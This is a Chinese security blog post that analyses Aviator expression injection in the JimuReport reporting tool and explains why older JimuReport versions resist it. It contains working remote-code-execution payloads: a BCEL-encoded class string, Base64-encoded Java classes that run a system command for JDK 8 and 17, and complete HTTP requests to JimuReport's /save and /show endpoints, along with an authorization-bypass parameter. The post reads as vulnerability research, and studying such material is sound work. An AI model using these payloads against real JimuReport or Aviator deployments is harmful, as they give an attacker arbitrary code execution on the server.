结合 Jimureport 的某个漏洞披露看 Aviator 表达式注入
wptr33 2025-01-21 21:57 39 浏览
JDK 高版本的 Aviator 表达式注入
Aviator 表达式注入代码示例见 JavaRce 项目 ,在之前 aviatorscript 的漏洞披露给出了了如下形式的 payload,利用 bcel 来加载字节码
'a'+(c=Class.forName(\"$BCEL$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );
提取出其中的 Class.forName() 调试一下代码
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("Class.forName('java.lang.String')");
通过 com.googlecode.aviator.RuntimeFunctionDelegator#getFunc() 动态调用 Aviator 中定义的方法
而换成全限定类名后,执行 getFunc() 方法会报错 Function not found: java.lang.Class.forName
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("java.lang.Class.forName('java.lang.String')");
调试到 com.googlecode.aviator.utils.Env#resolveClassSymbol(java.lang.String, boolean) 方法,这个方法主要是用于将类名解析为对应的 Java 类对象。
这里的话有两个值得看的地方:
- 从这个代码的逻辑来看,如果包含 . 则直接调用 classForName(name) 方法来获取类对象,我们构造的是全限定类名,为什么传入的 name 是 java
- 第二个条件逻辑,因为不存在类名时会假设该类隶属于 java.lang 包下,可以解释为什么直接用 Class.forName() 可以执行。
第一个问题定位到 com.googlecode.aviator.runtime.type.AviatorJavaType#getProperty() 方法,因为包含 . 所以被分割为数组,然后在 com.googlecode.aviator.utils.Reflector#fastGetProperty() 方法遍历逐个解析
java.lang 包下的类有限,所以还需要寻求突破。我们看到还有俩逻辑,用于引入包、类。这个解答第二个问题的疑问。
// from imported packages
clazz = resolveFromImportedPackages(name);
if (clazz != null) {
return checkIfClassIsAllowed(checkIfAllow, clazz);
}
// from imported classes
clazz = resolveFromImportedSymbols(name, clazz);
if (clazz != null) {
return checkIfClassIsAllowed(checkIfAllow, clazz);
}
以包名为例,是读取的 this.importedPackages 对象,索性用的比较少,可以很轻易的跟到 com.googlecode.aviator.runtime.function.internal.UseFunction#addSym() 方法。
* 号给了很大的提示,然后就是翻官方文档了,找到引用 Java 类的语法 https://www.yuque.com/boyan-avfmj/aviatorscript/vk0ubs
use java.util.Date;
let d = new Date();
p(type(d));
p(d);
与通过 JavaMethodReflectionFunctionMissing 调用 Java 方法(基于反射)不同,使用 use 只能调用 public static 方法 ,对于 spring 框架可以用 org.springframework.cglib.core.ReflectUtils 来加载字节码,关于这个的利用可以看上一篇分析
Link: JDK 17+ FreeMarker SSTI:从 CVE-2023-4450 复现引出 MethodHandle 句柄、named module 机制研究
所以最终按其语法可得
JDK 8
use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.example.Exec', Base64Utils.decodeFromString('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'), ClassLoader.getSystemClassLoader());
JDK17 ,Aviator 中 null 为 nil
use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;ReflectUtils.defineClass('org.springframework.expression.Test', Base64Utils.decodeFromString('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='), ClassLoader.getSystemClassLoader(), nil, Class.forName('org.springframework.expression.ExpressionParser'));
Jimureport sink
漏洞位于 /save 和 /show 这两个接口,两个包间通过 excel_config_id 关联
函数名有点抽象就不慢慢截图了,两个接口对应函数
org.jeecg.modules.jmreport.desreport.service.a.e#saveReport()
org.jeecg.modules.jmreport.desreport.service.a.e#show()
在执行 /show 时,跟进到 org.jeecg.modules.jmreport.desreport.express.a#c() 函数,对于传入的格式有要求。声明了解析的字段为 text,并且内容得通过 =() 包含
至于 /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI= 则是用于 jeeboot 的权限绕过
payload:
POST /jmreport/save HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
{
"loopBlockList": [],
"area": false,
"printElWidth": 718,
"excel_config_id": "53c82a76f837d5661dceec7d93afep",
"printElHeight": 1047,
"rows": {
"4": {
"cells": {
"4": {
"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('com.ppp.Exec', Base64Utils.decodeFromString('yv66vgAAADQANAoADAAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQIACUIACYHACcHACgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADkxjb20vcHBwL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAJwcAJAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADQAOBwApDAAqACsBAARFeGVjBwAsDAAtAC4HAC8MADAAMQEABGNhbGMMADIAMwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtzdGF0aWMgRXhlYwEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHABAAxjb20vcHBwL0V4ZWMBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAsADAAAAAAAAgABAA0ADgABAA8AAAB2AAIAAgAAABoqtwABsgACEgO2AAS4AAUSBrYAB1enAARMsQABAAQAFQAYAAgAAwAQAAAAGgAGAAAABwAEAAkADAAKABUADAAYAAsAGQANABEAAAAMAAEAAAAaABIAEwAAABQAAAAQAAL/ABgAAQcAFQABBwAWAAAIABcADgABAA8AAABbAAIAAQAAABayAAISCbYABLgABRIKtgAHV6cABEuxAAEAAAARABQACAADABAAAAAWAAUAAAARAAgAEgARABQAFAATABUAFQARAAAAAgAAABQAAAAHAAJUBwAWAAABABgAAAACABk='), ClassLoader.getSystemClassLoader());)",
"style": 0
}
},
"height": 25
},
"len": 96,
"-1": {
"cells": {
"-1": {
"text": "${gongsi.id}"
}
},
"isDrag": true
}
},
"dbexps": [],
"toolPrintSizeObj": {
"printType": "A4",
"widthPx": 718,
"heightPx": 1047
},
"dicts": [],
"freeze": "A1",
"dataRectWidth": 701,
"background": false,
"name": "sheet1",
"autofilter": {},
"styles": [
{
"align": "center"
}
],
"validations": [],
"cols": {
"4": {
"width": 95
},
"len": 50
},
"merges": [
"E4:F4",
"B4:B5",
"C4:C5",
"D4:D5",
"G4:G5",
"H4:H5",
"I4:I5",
"D1:G1",
"H3:I3"
]
}
POST /jmreport/show HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTQ2Mjk0NjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.--r2FRXzk7Nu2_Zrbcdn_0sN3c0zKhKeei2yewFTLx0
Accept: application/json, text/plain, */*
Content-Type: application/json
{
"id": "53c82a76f837d5661dceec7d93afep"
}
jimureport 低版本为什么无法解析
用最新版的 1.7.8 可以复现,而用到 1.6.0 时发现调用的是 com.googlecode.aviator.runtime.function.TraceFunction#call(java.util.Map<java.lang.String,java.lang.Object>, com.googlecode.aviator.runtime.type.AviatorObject, com.googlecode.aviator.runtime.type.AviatorObject) 这个方法,并且在执行 com.googlecode.aviator.runtime.function.TraceFunction#traceArgs() 时报错。
回到 com.googlecode.aviator.ClassExpression#executeDirectly() 方法看看在调用 com.googlecode.aviator.ClassExpression#execute0 前发生了什么。
Avaitor 的底层也用的是 ASM 将表达式转换为可执行的字节码,这里没法步进调试无疑是上了一点难度。不过没关系,将依赖单独取出 payload 可用,直觉告诉我问题出在配置项,于是找了一下代码定位到 com.googlecode.aviator.Options#TRACE_EVAL 这个配置。关于 TRACE_EVAL 的 ASM 逻辑位于 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName
PS. 关于 ASM 的更多操作可以在 com.googlecode.aviator.AviatorEvaluatorInstance#innerCompile() 方法断点,之后可以跟到 com.googlecode.aviator.code.OptimizeCodeGenerator#callASM() 调用 ASM 的解析
验证猜想
先验证下猜想在 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName() 断点修改该配置 this.instance.getOptionValue(Options.TRACE_EVAL).bool = false
除此之外在 com.googlecode.aviator.runtime.type.AviatorJavaType#getValueFromEnv() 解析 Base64Utils.decodeFromString 方法时,RuntimeUtils.getInstance(env).getOptionValue(Options.ENABLE_PROPERTY_SYNTAX_SUGAR).bool 为 flase ,不进入 getProperty 逻辑,也断点修改一下。
构造这俩条件,弹出计算器,验证猜想
- TRACE_EVAL 为 false
- ENABLE_PROPERTY_SYNTAX_SUGAR 为 true
哪里的变动?
然后就是看哪里加的这个配置?com.googlecode.aviator.Options#isValidValue() 对 TRACE_EVAL 赋值为 true
最终问题出在 org.jeecg.modules.jmreport.desreport.express.ExpressUtil 的 static 方法块中,低版本中将该值设为 true
高版本为 false
相关推荐
- SQL轻松入门(5):窗口函数(sql语录中加窗口函数的执行)
-
01前言标题中有2个字让我在初次接触窗口函数时,真真切切明白了何谓”高级”?说来也是一番辛酸史!话说,我见识了窗口函数的强大后,便磨拳擦掌的要试验一番,结果在查询中输入语句,返回的结果却是报错,Wh...
- 28个SQL常用的DeepSeek提示词指令,码住直接套用
-
自从DeepSeek出现后,极大地提升了大家平时的工作效率,特别是对于一些想从事数据行业的小白,只需要掌握DeepSeek的提问技巧,SQL相关的问题也不再是个门槛。...
- 从零开始学SQL进阶,数据分析师必备SQL取数技巧,建议收藏
-
上一节给大家讲到SQL取数的一些基本内容,包含SQL简单查询与高级查询,需要复习相关知识的同学可以跳转至上一节,本节给大家讲解SQL的进阶应用,在实际过程中用途比较多的子查询与窗口函数,下面一起学习。...
- SQL_OVER语法(sql语句over什么含义)
-
OVER的定义OVER用于为行定义一个窗口,它对一组值进行操作,不需要使用GROUPBY子句对数据进行分组,能够在同一行中同时返回基础行的列和聚合列。...
- SQL窗口函数知多少?(sql窗口怎么执行)
-
我们在日常工作中是否经常会遇到需要排名的情况,比如:每个部门按业绩来排名,每人按绩效排名,对部门销售业绩前N名的进行奖励等。面对这类需求,我们就需要使用sql的高级功能——窗口函数。...
- 如何学习并掌握 SQL 数据库基础:从零散查表到高效数据提取
-
无论是职场数据分析、产品运营,还是做副业项目,掌握SQL(StructuredQueryLanguage)意味着你能直接从数据库中提取、分析、整合数据,而不再依赖他人拉数,节省大量沟通成本,让你...
- SQL窗口函数(sql窗口函数执行顺序)
-
背景在数据分析中,经常会遇到按某某条件来排名、并找出排名的前几名,用日常SQL的GROUPBY,ORDERBY来实现特别的麻烦,有时甚至实现不了,这个时候SQL窗口函数就能发挥巨大作用了,窗...
- sqlserver删除重复数据只保留一条,使用ROW_NUMER()与Partition By
-
1.使用场景:公司的小程序需要实现一个功能:在原有小程序上,有一个优惠券活动表。存储着活动产品数据,但因为之前没有做约束,导致数据的不唯一,这会使打开产品详情页时,可能会出现随机显示任意活动问题。...
- SQL面试经典问题(一)(sql经典面试题及答案)
-
以下是三个精心挑选的经典SQL面试问题及其详细解决方案,涵盖了数据分析、排序限制和数据清理等常见场景。这些问题旨在考察SQL的核心技能,适用于初学者到高级开发者的面试准备。每个问题均包含清晰的...
- SQL:求连续N天的登陆人员之通用解答
-
前几天发了一个微头条:...
- SQL四大排序函数神技(sql中的排序是什么语句)
-
在日常SQL开发中,排序操作无处不在。当大家需要排序时,是否只会想到ORDERBY?今天,我们就来揭秘SQL中四个强大却常被忽略的排序函数:ROW_NUMBER()、RANK()、DENSE_RAN...
- 四、mysql窗口函数之row_number()函数的使用
-
1、窗口函数之row_number()使用背景窗口函数中,排序函数rank(),dense_rank()虽说都是排序函数,但是各有用处,假如像上章节说的“同组同分”两条数据,我们不想“班级名次”出现“...
- ROW_NUMBER()函数(rownumber函数与rank区别)
-
ROW_NUMBER()是SQL中的一个窗口函数(WindowFunction)...
- Dify「模板转换」节点终极指南:动态文本生成进阶技巧(附代码)Jinja2引擎解析
-
这篇文章是关于Dify「模板转换」节点的终极指南,解析了基于Jinja2模板引擎的动态文本生成技巧,涵盖多源文本整合、知识检索结构化、动态API构建及个性化内容生成等六大应用场景,助力开发者高效利用模...
- Python 最常用的语句、函数有哪些?
-
1.#coding=utf-8①代码中有中文字符,最好在代码前面加#coding=utf-8②pycharm不加可能不会报错,但是代码最终是会放到服务器上,放到服务器上的时候运行可能会报错。③...
- 一周热门
-
-
C# 13 和 .NET 9 全知道 :13 使用 ASP.NET Core 构建网站 (1)
-
因果推断Matching方式实现代码 因果推断模型
-
git pull命令使用实例 git pull--rebase
-
git 执行pull错误如何撤销 git pull fail
-
面试官:git pull是哪两个指令的组合?
-
git pull 和git fetch 命令分别有什么作用?二者有什么区别?
-
git fetch 和git pull 的异同 git中fetch和pull的区别
-
git pull 之后本地代码被覆盖 解决方案
-
还可以这样玩?Git基本原理及各种骚操作,涨知识了
-
git命令之pull git.pull
-
- 最近发表
- 标签列表
-
- git pull (33)
- git fetch (35)
- mysql insert (35)
- mysql distinct (37)
- concat_ws (36)
- java continue (36)
- jenkins官网 (37)
- mysql 子查询 (37)
- python元组 (33)
- mybatis 分页 (35)
- vba split (37)
- redis watch (34)
- python list sort (37)
- nvarchar2 (34)
- mysql not null (36)
- hmset (35)
- python telnet (35)
- python readlines() 方法 (36)
- munmap (35)
- docker network create (35)
- redis 集合 (37)
- python sftp (37)
- setpriority (34)
- c语言 switch (34)
- git commit (34)